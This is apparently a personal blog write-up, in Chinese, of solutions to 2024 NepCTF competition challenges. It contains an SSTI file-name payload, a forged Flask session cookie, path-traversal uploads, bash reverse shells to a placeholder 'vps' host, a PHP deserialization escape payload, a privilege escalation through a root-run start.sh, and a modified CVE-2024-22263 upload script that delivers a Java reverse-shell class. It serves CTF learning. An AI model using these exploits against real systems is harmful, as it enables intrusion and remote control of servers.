2024NepCTF

Last updated on September 27, 2024 am

没错,冲着贴纸来的!

NepMagic —— CheckIn

集齐所有碎片通过就o了

NepCTF{50c505f4-2700-11ef-ad49-00155d5e2505}

NepDouble

这里明显存在SSTI,而且文件名可控

创建一个名为

1
{{self.__init__.__globals__.__builtins__['__import__']('os').popen('cat /flag').read().py

的文件,然后压缩成zip上传

1
2
3
4
5
6
7
8
9
import requests

url="https://neptune-55198.nepctf.lemonprefect.cn/"
file={"tp_file":open("D:/CTFtmp/test.zip","rb")}
r=requests.post(url=url,files=file)
print(r.text)


#<a href="/cat?file=f35a84497a3683d7a0f11aa112ed07fc/NepCTF{89cf3517-065a-45f3-b9e9-3b8e2721d22b}.py">flag').read()}}.py</a>

蹦蹦炸弹(boom_it)

secret_key已经知道,可以伪造admin

改一下然后本地启动,得到admin的cookie

1
session=eyJhZG1pbl9sb2dnZWRfaW4iOnRydWV9.ZslOZw.KFv2PjH93EEhNdmCRUW1Nx2vPe4

用这个cookie访问admin/dashboard,上传文件lock.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /admin/dashboard HTTP/1.1
Host: neptune-54601.nepctf.lemonprefect.cn
Sec-Ch-Ua: "-Not.A/Brand";v="8", "Chromium";v="102"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Cookie:session=eyJhZG1pbl9sb2dnZWRfaW4iOnRydWV9.ZslOZw.KFv2PjH93EEhNdmCRUW1Nx2vPe4
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD61WFa2qL1y9KPPS
Content-Length: 198

------WebKitFormBoundaryD61WFa2qL1y9KPPS
Content-Disposition: form-data; name="file";filename="../../lock.txt"
Content-Type:multipart/form-data

111
------WebKitFormBoundaryD61WFa2qL1y9KPPS--

反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /admin/dashboard?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/vps/port+<%261' HTTP/1.1
Host: neptune-54601.nepctf.lemonprefect.cn
Sec-Ch-Ua: "-Not.A/Brand";v="8", "Chromium";v="102"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:session=eyJhZG1pbl9sb2dnZWRfaW4iOnRydWV9.ZslOZw.KFv2PjH93EEhNdmCRUW1Nx2vPe4
Connection: close


有个pwn文件,传fascan上去扫一下开放的端口

1
2
3
4
5
nc -lvp 11451 <fscan

nc vps 11451 >fscan
chmod +x fscan
./fscan -h 127.0.0.1

可以发现内网的8888端口是开放的

nc一下发现是start.sh在运行,而且start.sh是root用户的,那起的服务也就具有root权限

1
2
echo "chmod 0777 /home/ctfuser/flag*" >>start.sh
nc 127.0.0.1 8888

flag就有权限了

1
cat /home/ctfuser/flag*

NepCTF{197b7e20-0bb8-47a1-a431-82a2c18ed9ae}

PHP_MASTER!!

要构造的调用链C::__destruct–>B::__tostring–>phpinfo

要执行($this->b) ()就要绕过过滤

由于mb_substr(data,start,end),当end为负数时是从后往前数,所以构造nep=1&nep1=] [NepCTF]进行绕过

因为使用$data = str_ireplace("\0","00",$ser);进行替换,所以是反序列化变长逃逸,由于只能控制C->s;

因为echo是str,所以需要使C->str是B,所以构造s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}

把这个放到C,最后要使得序列化C之后要得到

1
O:1:"C":2:{s:1:"s";s:?:"填充\0";s:3:"str";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}};}";s:3:"str";N;}

?和\0的个数是我们要计算的,而通过c传递的值为

1
填充\0";s:3:"str";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}};}

如果不填充?的值就是";s:3:"str";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}};}的长度

每填充一个\0经过替换后就会逃逸右边一个符号,总共需要逃逸";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}};}的长度为49

所以?的值就是输入c的长度,即49个\0";s:3:"str";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}};}的长度,为108

通过url编码

1
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%22%3b%73%3a%33%3a%22%73%74%72%22%3b%73%3a%33%3a%22%73%74%72%22%3b%4f%3a%31%3a%22%42%22%3a%31%3a%7b%73%3a%31%3a%22%62%22%3b%73%3a%37%3a%22%70%68%70%69%6e%66%6f%22%3b%7d%7d%3b%7d&nep=1&nep1=]              [NepCTF]

序列化后变成

1
O:1:"C":2:{s:1:"s";s:108:"00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";s:3:"str";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}};}";s:3:"str";N;}

nepctf{fc8b21346275}

Always RCE First

访问https://neptune-46711.nepctf.lemonprefect.cn/api/about

用的Spring Cloud Skipper Server版本是2.11.2,google搜一下发现这个版本存在CVE可以在任意位置写文件

https://github.com/securelayer7/CVE-2024-22263_Scanner

https://yyjccc.github.io/2024/07/12/springcloud-dataflow任意文件写入(CVE-2024-22263)/

Dockerfile 里面用的是jdk8

搜一下发现spring-boot jdk8存在从文件上传到RCE的利用方法

https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks

https://forum.butian.net/share/1623

把里面的IBM33722改成反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package sun.nio.cs.ext;

import java.io.File;
import java.util.HashMap;
import java.util.UUID;

public class IBM33722 {
public IBM33722() {
fun();
}

private static HashMap<String, String> fun() {
String var1 = UUID.randomUUID().toString().replace("-", "").substring(1, 9);
String var2 = System.getProperty("os.name");
String[] var0;
if (var2.startsWith("Mac OS")) {
var0 = new String[]{"/bin/bash", "-c", "open -a Calculator"};
} else if (var2.startsWith("Windows")) {
var0 = new String[]{"cmd.exe", "/c", "calc"};
} else if ((new File("/bin/bash")).exists()) {
var0 = new String[]{"bash", "-c", "bash -i>&/dev/tcp/vps/9090 0>&1"};
} else {
var0 = new String[]{"/bin/sh", "-c", "bash -i>&/dev/tcp/vps/9090 0>&1"};
}

try {
Runtime.getRuntime().exec(var0);
} catch (Throwable var4) {
var4.printStackTrace();
}

return null;
}

static {
fun();
}
}

然后打包成charsets.jar,再压缩成charsets.zip,再通过CVE-2024-22263上传,脚本要小修一下,本地搭了docker调才发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
import argparse
import requests
import json
import zipfile
import os

def logo():
logo = """
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██║ ██║ ╚════██╗╚════██╗╚════██╗██╔════╝ ╚════██╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████║█████╗ █████╔╝ █████╔╝ █████╔╝███████╗ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝██╔═══╝ ██╔═══╝ ██╔═══╝ ██╔═══██╗ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗ ██║ ███████╗███████╗███████╗╚██████╔╝██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═╝ ╚══════╝╚══════╝╚══════╝ ╚═════╝ ╚═════╝

By: SecureLayer7 (Zeyad Azima)
https://github.com/securelayer7/CVE-2024-22263_Scanner
"""
print(logo)
print("")
print("")

def createPocFile(target, port):
try:
with open('poc.txt', 'w') as f:
f.write(f"Target: {target}\nPort: {port}\n")
print("[+] POC file created successfully.")
except Exception as e:
print(f"[-] Error creating POC file: {e}")

def zipPocFile():
try:
with zipfile.ZipFile('charsets.zip', 'w') as zipf:
zipf.write('charsets.jar', compress_type=zipfile.ZIP_DEFLATED)
print("[+] POC file zipped successfully.")
except Exception as e:
print(f"[-] Error creating ZIP file: {e}")

def zipToByteArray(zipFilePath):
try:
with open(zipFilePath, 'rb') as zipFile:
print("[+] ZIP file converted to byte array.")
return list(zipFile.read())
except FileNotFoundError:
print(f"[-] ZIP file not found: {zipFilePath}")
return None
except Exception as e:
print(f"[-] Error reading ZIP file: {e}")
return None

def uploadPackage(url, repoName, packageName, version, packageFileAsBytes):
uploadRequest = {
"repoName": repoName,
"name": packageName,
"version": version,
"extension": "zip",
"packageFileAsBytes": packageFileAsBytes
}

headers = {
'Content-Type': 'application/json'
}

try:
response = requests.post(url, headers=headers, data=json.dumps(uploadRequest), timeout=10, verify=False)
return response, uploadRequest
except requests.exceptions.RequestException as e:
print(f"[-] Error sending request to {url}: {e}")
return None, None
except Exception as e:
print(f"[-] Unexpected error: {e}")
return None, None

if __name__ == "__main__":
logo()
parser = argparse.ArgumentParser(description='Upload a package to the server.')
parser.add_argument('-t', '--target', type=str,default="https://neptune-46711.nepctf.lemonprefect.cn", help='The target to scan (e.g., http://192.168.1.1).')
parser.add_argument('-p', '--port', type=int, default=443, help='The port on the target (default: 80).')
parser.add_argument('-r', '--repoName', type=str, default="local", help='The repository name (default: local).')
parser.add_argument('-n', '--packageName', type=str, default="../../../../layers/paketo-buildpacks_bellsoft-liberica/jre/lib", help='The name of the package (default: ../../../poc).')
parser.add_argument('-v', '--version', type=str, default="1.0.0", help='The version of the package (default: 1.0.0).')
parser.add_argument('-f', '--file', type=str, help='A file containing a list of targets to scan in the format "http://target,port".')

args = parser.parse_args()

targets = []

if args.file:
try:
with open(args.file, 'r') as f:
targets = [line.strip().split(',') for line in f.readlines()]
print("[+] Targets loaded from file.")
except FileNotFoundError:
print(f"[-] File not found: {args.file}")
except Exception as e:
print(f"[-] Error reading file {args.file}: {e}")
elif args.target:
targets = [(args.target, args.port)]
else:
print("[-] Please provide either a target with -t or a file with targets using -f.")

for target, port in targets:
zipPocFile()
packageFileAsBytes = zipToByteArray('charsets.zip')
if packageFileAsBytes is None:
continue

url = f"{target}:{port}/api/package/upload"
response, requestBody = uploadPackage(url, args.repoName, args.packageName, args.version, packageFileAsBytes)

if response is None:
continue

try:
if response.status_code == 500 and "Package is expected to be unpacked, but it doesn't exist" in response.text:
print(f"[+] Target {target} is vulnerable.")
else:
print(f"[-] Target {target} is not vulnerable.")
print(f"[-] Status Code: {response.status_code}")
print(f"[-] Response Body: {response.text}")
print(f"[-] Request Body: {json.dumps(requestBody, indent=4)}")
except Exception as e:
print(f"[-] Error analyzing response from {url}: {e}")

try:
os.remove('charsets.zip')
print("[+] Cleanup successful.")
print("")
print("")
except Exception as e:
print(f"[-] Error cleaning up files: {e}")
print("")
print("")

然后触发漏洞

1
2
3
4
5
GET /api HTTP/1.1
Host: neptune-46711.nepctf.lemonprefect.cn
Accept: text/html;charset=GBK


Neprouper(赛后)

NepRouter-狸猫换太子

5000端口,注册一个用户,会发现不管填什么都会自动显示成TEST,然后注册的时候会发送一个encrypted_id是加密的内容,很明显是前端加密,所以可以将TEST在前端修改成自己设的,如admin,然后注册,进去之后可以下载一个ELF文件,点about_us会跳到8080端口,一个登录框

下下来放进ida分析

经过测试可以发现这是8080登录的逻辑判断,需要用户是NepNepIStheBestTeam

所以在5000端口注册用户为NepNepIStheBestTeam,

然后注册,再点about_us,以NepNepIStheBestTeam登录会跳转到路由配置中心

可以测试到输入ip的地方可以RCE,那就反弹个shell

有空格就没成功,所以用base64编码绕过

NepCTF{You_93t_Me_But_Now_just_start}

NepRouter-白给

在反编译那里可以看到数据库看到账号密码,比赛时直接用Mysql命令连接。

赛后出题人说不行,他做了设置,需要用python或go写脚本连或者navicat连,然而写脚本和navicat试了都连不上。

估计这题也有点无语。


本文作者: fru1ts
本文链接: https://fru1ts.github.io/2024/08/26/2024NepCTF/
版权声明: 本站均采用BY-SA协议,除特别声明外,转载请注明出处!